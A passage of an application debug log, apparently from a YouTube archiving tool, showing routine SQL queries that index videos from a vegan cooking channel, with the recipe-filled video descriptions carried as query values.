tahini\n¼ cup maple syrup\n1½ tsp vanilla extract\n2 tbsp coconut sugar\n2 tbsp poppyseeds\n\n1. Preheat oven or airfryer oven to 350°F and line a baking sheet or airfryer basket with parchment paper.\n2. Spread out 3 cups of rolled oats on the baking tray into an even layer and toast the oats on the middle rack for 10 minutes (5 minutes if airfryer)\n3. In a large mixing bowl, add the lemon juice and zest, tahini, maple syrup, vanilla and coconut sugar and whisk until it's well combined.\n4. Once the oats are toasted pour them into the bowl of wet mix, and add the almond flour and chopped pecans and mix with a large spoon until its a well combined sticky mixture.\n5. Spread out into an even layer on the same baking tray and bake at 325°F for 30 minutes or 350°F in airfryer. Break apart and turn the granola into pieces with a spatula halfway through cooking time.\n6. Remove from oven and let cool completely, allowing the granola to harden and get crunchy as it cools. Enjoy!\n\n---------------------------------------------------------------------------------------------------------------\n\nUse our promo code 'STEAMYVEGAN' to save you $50 off your iHarvest purchase! https://igworks.com/products/iharvest... \n\nWatch my other 'WHAT I EAT' videos ➡️ \u00A0\u00A0\u00A0•\u00A0REALISTIC\u00A0'WHAT\u00A0I\u00A0EAT\u00A0IN\u00A0A\u00A0DAY'\u00A0VIDEOS\u00A0🌱\u00A0\u00A0\nStill hungry? Follow me on my other social channels for more steamy deliciousness!\n\nFACEBOOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\nINSTAGRAM: \u00A0\u00A0/\u00A0steamyvegankitchen\u00A0\u00A0\nTIKTOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\n\nBLOG: https://steamyvegan.com\nCONTACT: janelle@steamyvegan.com\n\nGeorge Street Shuffle by Kevin MacLeod is licensed under a Creative Commons Attribution 4.0 license. https://creativecommons.org/licenses/...\n\nSource: http://incompetech.com/music/royalty-...\n\nArtist: http://incompetech.com/", "Tahini Granola! Easy & healthy tahini lemon poppyseed granola", "4d2a1de0-c49b-46e8-838c-c02546999ee8", 1, [], false, "ElN-bKuTYR4", "https://www.youtube.com/watch?v=ElN-bKuTYR4", 310, "/downloads/downloads/alec/Steamy Vegan/2023-04-22 Tahini Granola! Easy & healthy tahini lemon poppyseed granola/Tahini Granola! Easy & healthy tahini lemon poppyseed granola [ElN-bKuTYR4].NA", false, false, false, 1, ~U[2023-04-22 00:00:00Z], ~U[2026-03-22 03:31:08Z], ~U[2026-03-22 03:31:08Z], "I'll show you how to make east tahini granola! This healthy tahini lemon poppyseed granola is my current OBSESSION. Tahini is magic and helps make this granola even healthier, more satisfying and adds a lovely nutty flavour. It's crunchy, tangy, fragrant, sweet and oh so crunchy! It's perfect for munching, in yogurt or smoothie bowls and more! Can't wait for you to try it.\n\nTAHINI & LEMON POPPYSEED GRANOLA\n3 cups rolled oats (GF if needed)\n½ cup almond flour\n1 cup chopped pecans\nzest and juice of 1 lemon \n¼ cup tahini\n¼ cup maple syrup\n1½ tsp vanilla extract\n2 tbsp coconut sugar\n2 tbsp poppyseeds\n\n1. Preheat oven or airfryer oven to 350°F and line a baking sheet or airfryer basket with parchment paper.\n2. Spread out 3 cups of rolled oats on the baking tray into an even layer and toast the oats on the middle rack for 10 minutes (5 minutes if airfryer)\n3. In a large mixing bowl, add the lemon juice and zest, tahini, maple syrup, vanilla and coconut sugar and whisk until it's well combined.\n4. Once the oats are toasted pour them into the bowl of wet mix, and add the almond flour and chopped pecans and mix with a large spoon until its a well combined sticky mixture.\n5. Spread out into an even layer on the same baking tray and bake at 325°F for 30 minutes or 350°F in airfryer. Break apart and turn the granola into pieces with a spatula halfway through cooking time.\n6. Remove from oven and let cool completely, allowing the granola to harden and get crunchy as it cools. Enjoy!\n\n---------------------------------------------------------------------------------------------------------------\n\nUse our promo code 'STEAMYVEGAN' to save you $50 off your iHarvest purchase! https://igworks.com/products/iharvest... \n\nWatch my other 'WHAT I EAT' videos ➡️ \u00A0\u00A0\u00A0•\u00A0REALISTIC\u00A0'WHAT\u00A0I\u00A0EAT\u00A0IN\u00A0A\u00A0DAY'\u00A0VIDEOS\u00A0🌱\u00A0\u00A0\nStill hungry? Follow me on my other social channels for more steamy deliciousness!\n\nFACEBOOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\nINSTAGRAM: \u00A0\u00A0/\u00A0steamyvegankitchen\u00A0\u00A0\nTIKTOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\n\nBLOG: https://steamyvegan.com\nCONTACT: janelle@steamyvegan.com\n\nGeorge Street Shuffle by Kevin MacLeod is licensed under a Creative Commons Attribution 4.0 license. https://creativecommons.org/licenses/...\n\nSource: http://incompetech.com/music/royalty-...\n\nArtist: http://incompetech.com/", "Tahini Granola! Easy & healthy tahini lemon poppyseed granola", 1, nil, false, "ElN-bKuTYR4", "https://www.youtube.com/watch?v=ElN-bKuTYR4", "/downloads/downloads/alec/Steamy Vegan/2023-04-22 Tahini Granola! Easy & healthy tahini lemon poppyseed granola/Tahini Granola! Easy & healthy tahini lemon poppyseed granola [ElN-bKuTYR4].NA", false, ~U[2023-04-22 00:00:00Z]] 20:31:08.355 [debug] QUERY OK source="sources" db=0.6ms idle=8.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:08.358 [debug] QUERY OK source="media_items" db=2.4ms idle=7.4ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2023-04-19 00:00:00Z], 1] 20:31:08.361 [debug] QUERY OK source="media_items" db=2.0ms idle=9.0ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["Let's make BLUEBERRY CHIA SEED JAM! It's honestly my fave healthy jam of all time and I rarely ever don't have some in my fridge. It's cheap and easy to make, requires no random or weird ingredients (uses just 4 to be precise!), tastes delicious and is SUPER HEALTHY!\n\nRecipe on my blog ➡️ https://steamyvegan.com/chia-jam/\n\nEnjoyed this recipe? Subscribe to \u202A@steamyvegan\u202C and never miss another juicy video 😁\n\n---------------------------------------------------------------------------------------------------------------\n\nUse our promo code 'STEAMYVEGAN' to save you $50 off your iHarvest purchase! https://igworks.com/products/iharvest... \n\nWatch my other 'WHAT I EAT' videos ➡️ \u00A0\u00A0\u00A0•\u00A0REALISTIC\u00A0'WHAT\u00A0I\u00A0EAT\u00A0IN\u00A0A\u00A0DAY'\u00A0VIDEOS\u00A0🌱\u00A0\u00A0\nStill hungry? Follow me on my other social channels for more steamy deliciousness!\n\nFACEBOOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\nINSTAGRAM: \u00A0\u00A0/\u00A0steamyvegankitchen\u00A0\u00A0\nTIKTOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\n\nBLOG: https://steamyvegan.com\nCONTACT: janelle@steamyvegan.com\n\nWHERE I GET MY MUSIC: \nThematic: I LOVE using Thematic for all my royalty-free music in my recipe videos. Their song selection is top notch, plus it helps promote fellow creators! Use my link to get 1 month of their PREMIUM membership for free!\nMusic by Mark Generous - White Peony - https://thmatc.co/?l=B7DC5A35", "Blueberry Chia Seed Jam 🫐 How to make my FAVE healthy jam", "f38c0960-c480-4d41-905b-fd26cbf58184", 1, [], false, "Qe3ml7MNi-M", "https://www.youtube.com/watch?v=Qe3ml7MNi-M", 311, "/downloads/downloads/alec/Steamy Vegan/2023-04-19 Blueberry Chia Seed Jam 🫐 How to make my FAVE healthy jam/Blueberry Chia Seed Jam 🫐 How to make my FAVE healthy jam [Qe3ml7MNi-M].NA", false, false, false, 1, ~U[2023-04-19 00:00:00Z], ~U[2026-03-22 03:31:08Z], ~U[2026-03-22 03:31:08Z], "Let's make BLUEBERRY CHIA SEED JAM! It's honestly my fave healthy jam of all time and I rarely ever don't have some in my fridge. It's cheap and easy to make, requires no random or weird ingredients (uses just 4 to be precise!), tastes delicious and is SUPER HEALTHY!\n\nRecipe on my blog ➡️ https://steamyvegan.com/chia-jam/\n\nEnjoyed this recipe? Subscribe to \u202A@steamyvegan\u202C and never miss another juicy video 😁\n\n---------------------------------------------------------------------------------------------------------------\n\nUse our promo code 'STEAMYVEGAN' to save you $50 off your iHarvest purchase! https://igworks.com/products/iharvest... \n\nWatch my other 'WHAT I EAT' videos ➡️ \u00A0\u00A0\u00A0•\u00A0REALISTIC\u00A0'WHAT\u00A0I\u00A0EAT\u00A0IN\u00A0A\u00A0DAY'\u00A0VIDEOS\u00A0🌱\u00A0\u00A0\nStill hungry? Follow me on my other social channels for more steamy deliciousness!\n\nFACEBOOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\nINSTAGRAM: \u00A0\u00A0/\u00A0steamyvegankitchen\u00A0\u00A0\nTIKTOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\n\nBLOG: https://steamyvegan.com\nCONTACT: janelle@steamyvegan.com\n\nWHERE I GET MY MUSIC: \nThematic: I LOVE using Thematic for all my royalty-free music in my recipe videos. Their song selection is top notch, plus it helps promote fellow creators! Use my link to get 1 month of their PREMIUM membership for free!\nMusic by Mark Generous - White Peony - https://thmatc.co/?l=B7DC5A35", "Blueberry Chia Seed Jam 🫐 How to make my FAVE healthy jam", 1, nil, false, "Qe3ml7MNi-M", "https://www.youtube.com/watch?v=Qe3ml7MNi-M", "/downloads/downloads/alec/Steamy Vegan/2023-04-19 Blueberry Chia Seed Jam 🫐 How to make my FAVE healthy jam/Blueberry Chia Seed Jam 🫐 How to make my FAVE healthy jam [Qe3ml7MNi-M].NA", false, ~U[2023-04-19 00:00:00Z]] 20:31:08.362 [debug] QUERY OK source="sources" db=1.0ms idle=10.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:08.364 [debug] QUERY OK source="media_items" db=2.1ms idle=8.2ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2023-04-15 00:00:00Z], 1] 20:31:08.368 [debug] QUERY OK source="media_items" db=2.0ms idle=10.0ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["Here is what I eat in a week as a vegan plus my easy vegan meal prep for the week. I wanted a nice combination of comforting and refreshing springtime recipes that were easy to make and required simple ingredients. I made lemon poppyseed blueberry baked oats, sushi bowls and more!\n\nRECIPES IN THIS VIDEO\n\nLemon Poppyseed Blueberry Baked Oats - 4 to 6 servings\n2 flax eggs\n1 banana, mashed\nZest + juice of 1 lemon\n1 tsp vanilla extract\n1 cup unsweetened soy milk\n1 ⅓ cup water\n¼ cup monk fruit/erythritol sweetener (sub coconut sugar or brown sugar)\n3 cups rolled oats (gluten-free if needed)\n½ cup almond flour\n½ tbsp baking powder\npinch of salt\n2 cups fresh or frozen blueberries\n\n1. Preheat oven to 375°F.\n2. To a mixing bowl mash 1 banana and add the flax eggs, lemon zest and juice, vanilla and mix until combined. Then add the milk and water and mix again. Set aside.\n3. To a large baking dish, add the oats, almond flour, monk fruit sweetener, baking powder and salt and mix until well combined. Pour over the wet mixture and stir until no dry spots remain.\n4. Stir in the blueberries, smooth into an even layer and bake for 40 minutes until slightly golden around the edges and a bit firm to the touch.\n5. Allow to cool for 10 minutes before serving. Enjoy!\n\nBorscht - 6 servings\nNot my recipe -- check it out here ➡️ https://happykitchen.rocks/russian-uk...\nCornbread recipe by \u202A@CaitlinShoemaker\u202C \nhttps://frommybowl.com/easy-vegan-cor...\n\nLemon Poppyseed Bliss Balls \n1 cup oat flour (1 cup oats blended)\n2 tbsp coconut flour\n½ cup sunflower seeds\n2 tbsp sunflower butter OR peanut butter\n4 soaked pitted dates\nJuice + zest of 1 lemon\n1 tsp vanilla\n2 tsp poppy seeds\nPinch of salt\n\n1. Add the oat flour, coconut flour and sunflower seeds to a food processor and blitz until the seeds are mostly ground up.\n2. Add all remaining ingredients (except poppyseeds) and blend on high until a sticky, thick dough forms. Add the poppyseeds pulse a few times to blend or mix together in a separate bowl. \n4. Using a 2 tbsp cookie scoop, scoop out a roll the dough into balls, you should get about 12. Let chill in the fridge for an hour before enjoying (if you can wait that long!)\n\nSushi Bowls - 4 to 6 servings (below are merely suggestions!)\n1 cup cooked brown sticky rice\nsalad greens\n1 carrot, shredded\n1 block of medium-firm tofu, pressed and cubed\n1/3 cup shelled edamame (optional)\n¼ - ⅓ cup shredded or pickled red cabbage\n¼ avocado\nsushi nori (seaweed) sheet, shredded\nsoy sauce or tamari, to season\nsesame seeds, to garnish\nchopped green onion, to garnish\n\nAnother fuss free bowl: simply add all ingredients into a large bowl or sealable container, arrange as you please and enjoy!\n\n------------------------------------------------------------------------------------------------------------------\nUse our promo code 'STEAMYVEGAN' to save you $50 off your iHarvest purchase! https://igworks.com/products/iharvest... \n\nWatch my other 'WHAT I EAT' videos ➡️ \u00A0\u00A0\u00A0•\u00A0REALISTIC\u00A0'WHAT\u00A0I\u00A0EAT\u00A0IN\u00A0A\u00A0DAY'\u00A0VIDEOS\u00A0🌱\u00A0\u00A0\n\n------------------------------------------------------------------------------------------------------------------\nIf you made any of these recipes and decide to share them on Facebook or Instagram, don't forget to tag me @SteamyVegan + #SteamyVegan! I love seeing your yummy recreations 😊\n\nStill hungry? Follow me on my other social channels for more steamy deliciousness!\n\nFACEBOOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\nINSTAGRAM: \u00A0\u00A0/\u00A0steamyvegankitchen\u00A0\u00A0\n\nBLOG: https://steamyvegan.com\nCONTACT: janelle@steamyvegan.com\n\nWHERE I GET MY MUSIC: \nThematic: I LOVE using Thematic for all my royalty-free music in my recipe videos. Their song selection is top notch, plus it helps promote fellow creators! Use my link to get 1 month of their PREMIUM membership for free!\nMusic by Naomi - Gummy Bear - https://thmatc.co/?l=700823B8\nMusic by Blue Sirens - Taro - https://thmatc.co/?l=CC5DF357\nMusic by Mark Generous, Jasper The Cat - Last Week Of School - https://thmatc.co/?l=33FD1557\nMusic by Mr. Jello - Summer Sunday - https://thmatc.co/?l=046DFC48", "Easy vegan meal prep | Springtime recipes! 🌿 What I eat in a week", "67c592fe-1b22-4ec6-9970-4dcbd3752ce1", 1, [], false, "h6dvRw704Wg", "https://www.youtube.com/watch?v=h6dvRw704Wg", 312, "/downloads/downloads/alec/Steamy Vegan/2023-04-15 Easy vegan meal prep | Springtime recipes! 🌿 What I eat in a week/Easy vegan meal prep | Springtime recipes! 🌿 What I eat in a week [h6dvRw704Wg].NA", false, false, false, 1, ~U[2023-04-15 00:00:00Z], ~U[2026-03-22 03:31:08Z], ~U[2026-03-22 03:31:08Z], "Here is what I eat in a week as a vegan plus my easy vegan meal prep for the week. I wanted a nice combination of comforting and refreshing springtime recipes that were easy to make and required simple ingredients. I made lemon poppyseed blueberry baked oats, sushi bowls and more!\n\nRECIPES IN THIS VIDEO\n\nLemon Poppyseed Blueberry Baked Oats - 4 to 6 servings\n2 flax eggs\n1 banana, mashed\nZest + juice of 1 lemon\n1 tsp vanilla extract\n1 cup unsweetened soy milk\n1 ⅓ cup water\n¼ cup monk fruit/erythritol sweetener (sub coconut sugar or brown sugar)\n3 cups rolled oats (gluten-free if needed)\n½ cup almond flour\n½ tbsp baking powder\npinch of salt\n2 cups fresh or frozen blueberries\n\n1. Preheat oven to 375°F.\n2. To a mixing bowl mash 1 banana and add the flax eggs, lemon zest and juice, vanilla and mix until combined. Then add the milk and water and mix again. Set aside.\n3. To a large baking dish, add the oats, almond flour, monk fruit sweetener, baking powder and salt and mix until well combined. Pour over the wet mixture and stir until no dry spots remain.\n4. Stir in the blueberries, smooth into an even layer and bake for 40 minutes until slightly golden around the edges and a bit firm to the touch.\n5. Allow to cool for 10 minutes before serving. Enjoy!\n\nBorscht - 6 servings\nNot my recipe -- check it out here ➡️ https://happykitchen.rocks/russian-uk...\nCornbread recipe by \u202A@CaitlinShoemaker\u202C \nhttps://frommybowl.com/easy-vegan-cor...\n\nLemon Poppyseed Bliss Balls \n1 cup oat flour (1 cup oats blended)\n2 tbsp coconut flour\n½ cup sunflower seeds\n2 tbsp sunflower butter OR peanut butter\n4 soaked pitted dates\nJuice + zest of 1 lemon\n1 tsp vanilla\n2 tsp poppy seeds\nPinch of salt\n\n1. Add the oat flour, coconut flour and sunflower seeds to a food processor and blitz until the seeds are mostly ground up.\n2. Add all remaining ingredients (except poppyseeds) and blend on high until a sticky, thick dough forms. Add the poppyseeds pulse a few times to blend or mix together in a separate bowl. \n4. Using a 2 tbsp cookie scoop, scoop out a roll the dough into balls, you should get about 12. Let chill in the fridge for an hour before enjoying (if you can wait that long!)\n\nSushi Bowls - 4 to 6 servings (below are merely suggestions!)\n1 cup cooked brown sticky rice\nsalad greens\n1 carrot, shredded\n1 block of medium-firm tofu, pressed and cubed\n1/3 cup shelled edamame (optional)\n¼ - ⅓ cup shredded or pickled red cabbage\n¼ avocado\nsushi nori (seaweed) sheet, shredded\nsoy sauce or tamari, to season\nsesame seeds, to garnish (truncated) 20:31:08.368 [debug] QUERY OK source="sources" db=0.5ms idle=9.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:08.371 [debug] QUERY OK source="media_items" db=2.2ms idle=8.1ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2023-04-11 00:00:00Z], 1] 20:31:08.373 [debug] QUERY OK source="media_items" db=1.7ms idle=8.8ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["In this video I show you what I eat in a day as a vegan! These high-protein vegan meals and snacks were straight up DELICIOUS, totally simple to make and were as nutritious as they were yummy. With a few indulgences of course because you should love what you eat and eat what you love!\n\nI also share about my experience of being hit by a car last year (a HIT AND RUN), how it’s affected me, what I’ve been doing to recover and how I’m doing now. I hope that some part of my story will resonate with you and maybe offer you some encouragement that you need today. \n\nRECIPES IN THIS VIDEO\n\nFull Vegan Brunch! Including Beyond Sausages, Potato Hashbrowns, Tofu Scramble and Veggie Skillet\n\nCHEESY TOFU SCRAMBLE RECIPE - serves 2 to 4\n\n1 block medium-firm tofu, not pressed\n1 tbsp neutral oil (sunflower, grapeseed, avocado)\n1 tsp garlic powder\n1 tsp turmeric powder\n½ tsp kala namak (black salt)\n¼ tsp black pepper\n¼ cup soy milk (or other plant-milk, just not coconut)\n2 tbsp nutritional yeast\n½ cup vegan shredded cheddar\n\n1. Heat a frying pan on medium heat and add the oil. In a large bowl, crumble the block of tofu into small pieces.\n\n2. Once the oil is hot, add the tofu and spices, minus the kala namak, and stir thoroughly until combined and the turmeric has evenly coated the tofu. Cook for ten minutes, covered, stirring frequently to prevent sticking or burning. The tofu should start to get a nice slightly golden colour as it cooks. If the scramble starts looking too dry add in about ¼ cup of soy milk to add some creaminess back.\n\n3. Once the scramble is almost finished cooking, add in the kala namak, nutritional yeast and cheese shreds and stir throughly to combine. Remove from the heat and serve up as you please!\n\n\nMediterranean Chickpea Salad\n\n1 can chickpeas, drained and rinsed\n½ block of vegan feta cheese, crumbled\n2 tbsp fresh dill, chopped\n2 tbsp fresh basil, chopped\nJuice of ½ a lemon\n1 each small red and orange bell pepper, diced\n1 roma tomato, diced\n1 English cucumber, diced in quarters\n⅓ of a red onion, finely diced\n½ cup kalamata olives, pitted and halved\n\nAdd all the ingredients to a bowl and season with salt and pepper to taste, and stir well to combine. \nBest served chilled for 1 hour but not required! Eat on it’s own, in a wrap, over some rice or with tortilla chips! The options are endless it’s soooooo delish!\n------------------------------------------------------------------------------------------------------------------\nUse our promo code 'STEAMYVEGAN' to save you $50 off your iHarvest purchase! https://igworks.com/products/iharvest... \n\nWatch my other 'WHAT I EAT' videos ➡️ \u00A0\u00A0\u00A0•\u00A0REALISTIC\u00A0'WHAT\u00A0I\u00A0EAT\u00A0IN\u00A0A\u00A0DAY'\u00A0VIDEOS\u00A0🌱\u00A0\u00A0\n\n------------------------------------------------------------------------------------------------------------------\nIf you made any of these recipes and decide to share them on Facebook or Instagram, don't forget to tag me @SteamyVegan + #SteamyVegan! I love seeing your yummy recreations 😊\n\nFACEBOOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\nINSTAGRAM: \u00A0\u00A0/\u00A0steamyvegankitchen\u00A0\u00A0\nTIKTOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\n\nBLOG: https://steamyvegan.com\nCONTACT: janelle@steamyvegan.com\n\nWHERE I GET MY MUSIC: \nThematic: I LOVE using Thematic for all my royalty-free music in my recipe videos. Their song selection is top notch, plus it helps promote fellow creators! Use my link to get 1 month of their PREMIUM membership for free!\nMusic by HONÜ - Rainbow Falls - https://thmatc.co/?l=0DDBB098", "My Hit and Run Accident Update + What I Eat in a Day Vegan High Protein Meals", "e90ce5f1-4128-42b5-9781-47105a603643", 1, [], false, "kRRWTleOLXI", "https://www.youtube.com/watch?v=kRRWTleOLXI", 313, "/downloads/downloads/alec/Steamy Vegan/2023-04-11 My Hit and Run Accident Update + What I Eat in a Day Vegan High Protein Meals/My Hit and Run Accident Update + What I Eat in a Day Vegan High Protein Meals [kRRWTleOLXI].NA", false, false, false, 1, ~U[2023-04-11 00:00:00Z], ~U[2026-03-22 03:31:08Z], ~U[2026-03-22 03:31:08Z], "In this video I show you what I eat in a day as a vegan! These high-protein vegan meals and snacks were straight up DELICIOUS, totally simple to make and were as nutritious as they were yummy. With a few indulgences of course because you should love what you eat and eat what you love!\n\nI also share about my experience of being hit by a car last year (a HIT AND RUN), how it’s affected me, what I’ve been doing to recover and how I’m doing now. I hope that some part of my story will resonate with you and maybe offer you some encouragement that you need today. \n\nRECIPES IN THIS VIDEO\n\nFull Vegan Brunch! Including Beyond Sausages, Potato Hashbrowns, Tofu Scramble and Veggie Skillet\n\nCHEESY TOFU SCRAMBLE RECIPE - serves 2 to 4\n\n1 block medium-firm tofu, not pressed\n1 tbsp neutral oil (sunflower, grapeseed, avocado)\n1 tsp garlic powder\n1 tsp turmeric powder\n½ tsp kala namak (black salt)\n¼ tsp black pepper\n¼ cup soy milk (or other plant-milk, just not coconut)\n2 tbsp nutritional yeast\n½ cup vegan shredded cheddar\n\n1. Heat a frying pan on medium heat and add the oil. In a large bowl, crumble the block of tofu into small pieces.\n\n2. Once the oil is hot, add the tofu and spices, minus the kala namak, and stir thoroughly until combined and the turmeric has evenly coated the tofu. Cook for ten minutes, covered, stirring frequently to prevent sticking or burning. The tofu should start to get a nice slightly golden colour as it cooks. If the scramble starts looking too dry add in about ¼ cup of soy milk to add some creaminess back.\n\n3. Once the scramble is almost finished cooking, add in the kala namak, nutritional yeast and cheese shreds and stir throughly to combine. Remove from the heat and serve up as you please!\n\n\nMediterranean Chickpea Salad\n\n1 can chickpeas, drained and rinsed\n½ block of vegan feta cheese, crumbled\n2 tbsp fresh dill, chopped\n2 tbsp fresh basil, chopped\nJuice of ½ a lemon\n1 each small red and orange bell pepper, diced\n1 roma tomato, diced\n1 English cucumber, diced in quarters\n⅓ of a red onion, finely diced\n½ cup kalamata olives, pitted and halved\n\nAdd all the ingredients to a bowl and season with salt and pepper to taste, and stir well to combine. \nBest served chilled for 1 hour but not required! Eat on it’s own, in a wrap, over some rice or with tortilla chips! The options are endless it’s soooooo delish!\n------------------------------------------------------------------------------------------------------------------\nUse our promo code 'STEAMYVEGAN' to save you $50 off your iHarvest purchase! https://igworks.com/products/iharvest... \n\nWatch my other 'WHAT I EAT' videos ➡️ \u00A0\u00A0\u00A0•\u00A0REALISTIC\u00A0'WHAT\u00A0I\u00A0EAT\u00A0IN\u00A0A\u00A0DAY'\u00A0VIDEOS\u00A0🌱\u00A0\u00A0\n\n------------------------------------------------------------------------------------------------------------------\nIf you made any of these recipes and decide to share them on Facebook or Instagram, don't forget to tag me @SteamyVegan + #SteamyVegan! I love seeing your yummy recreations 😊\n\nFACEBOOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\nINSTAGRAM: \u00A0\u00A0/\u00A0ste (truncated) 20:31:08.374 [debug] QUERY OK source="sources" db=0.5ms idle=8.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:08.376 [debug] QUERY OK source="media_items" db=2.0ms idle=6.7ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2023-04-07 00:00:00Z], 1] 20:31:08.378 [debug] QUERY OK source="media_items" db=1.6ms idle=8.0ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["What I eat in a day as a vegan! In this vegan what I eat in a day video I'll show you everything I ate during a very busy day, with lots of snacking and eating meals at unusual times for me. Most of my meals were unplanned and on-the-fly as I was running out of fresh produce and ingredients! \n\nRECIPES MENTIONED IN THIS VIDEO:\nProtein chia pudding | Your fave plant-based protein drink + 2 tbsp chia seeds, let thicken in fridge 30 minutes then enjoy!\nTofu salad rolls: https://steamyvegankitchen.com/asian-...\n\nInstant Pot veggie risotto:\n2 cups arborio rice\n6 cups chopped veggies (bell peppers, broccoli, onion, carrots, etc)\n1 can chickpeas, drained and rinsed\n4 cloves minced garlic\n4 cups hot veggie broth\n1 tsp each dried basil, oregano, red chilli flakes\n1. Set IP to Sauté and warm 1 tbsp oil or ¼ cup broth, then sauté the veggies for 5 minutes until they begin to sweat out some moisture.\n2. Stir in the chickpeas, rice and spices and pour in the broth. Put on the lid and set the IP to 'sealing'. \n3. Cancel 'sauté' and press the Rice setting for 10 minutes. Allow the pressure to naturally release for 10 minutes once pressure cooking is over then do a quick release. 